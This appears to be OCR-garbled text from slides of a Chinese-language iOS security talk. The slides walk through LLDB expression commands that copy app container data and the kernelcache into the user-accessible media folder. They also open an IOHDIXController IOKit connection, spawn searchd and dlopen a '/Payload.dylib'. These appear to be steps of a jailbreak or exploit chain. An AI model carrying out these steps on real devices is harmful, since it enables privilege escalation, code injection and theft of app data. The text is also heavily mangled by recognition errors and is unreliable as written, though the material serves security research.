- U, BaER

expr id S$SdefaultManager = (id)[NSFileManager defaultManager]

expr id Serror = 0

expr (int)[SdefaultManager copyltemAtPath:@"/var/mobile/Containers/" \
toPath:@"/var/mobile/Media/ Containers" error:&$error]

expr (int)[$defaultManager movelItemAtPath:@"/var/mobile/Containers/Data" \
toPath:@"/var/mobile/Media/ App-Data" error:0]




7f LLDB ®SFIF (12) C

FEEERZ2XS

« EFN&

expr id $data = (id)[NSData dataWithContentsOfFile:@"kernelcache"]
expr (int)[S$data writeToFile:Q@"/var/mobile/Media/kernelcache" atomically:0]

* FIHEKE)

expr unsigned int $master port = 0;

expr (int)IOMasterPort(0, &Smaster port);

p/x $master port

expr id $srv _info = (id)IOServiceMatching("IOHDIXController");

po $srv_info

expr unsigned int $srv = (unsigned int)IOServiceGetMatchingService(\
Smaster port, \
$srv_info);

p/x S$srv

expr unsigned int Sconn = 0;

expr (int)IOServiceOpen($srv, (unsigned int)mach task self(), 0x2d, &S$Sconn);
p/x $conn
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FEEBERZ2XAS I60EHKMEZEPC

£ LLDB pEF|]

L

* FIHIKE]

expr unsigned int $master_port = 0;
expr (int)IOMasterPort(Q, &$master_port);
(int) $0 = 0
p/x $master_port
(unsigned int) $master_port = 0x0000030f
expr id $srv_info = (id)IO0ServiceMatching("IOHDIXController™);
po $srv_info

I0OProvider(Class = IOHDIXController;

expr unsigned int $srv = (unsigned int)I0ServiceGetMatchingService($master_port, $srv_info);
p/x $srv
(unsigned int) $srv = 0x00002007
expr unsigned int $conn = 0;
expr (int)I0ServiceOpen($srv, (unsigned int)mach_task_self(), 0@x2d, &$conn);
(int) $1 =0
p/x $conn
(unsigned int) $conn = Ox00001f07



£ LLDB i EF|A ( 14)

% J'iI:_II Ej]ﬁf*%

expr (int)posix spawn(&Spid,
"/System/Library/PrivateFrameworks/Search.framework/searchd",
0, 0, 0, 0);

» WTFEERRE , A ABSENE | £ LLDB RMERA
FATRI USRI BBAAEEIEE] dylib &, ZX/500%. 4T

expr (void *)dlopen("/Payload.dylib", 2)

e o
— expr AFEER "\ EEST
- FERRESER "\" REATEREW
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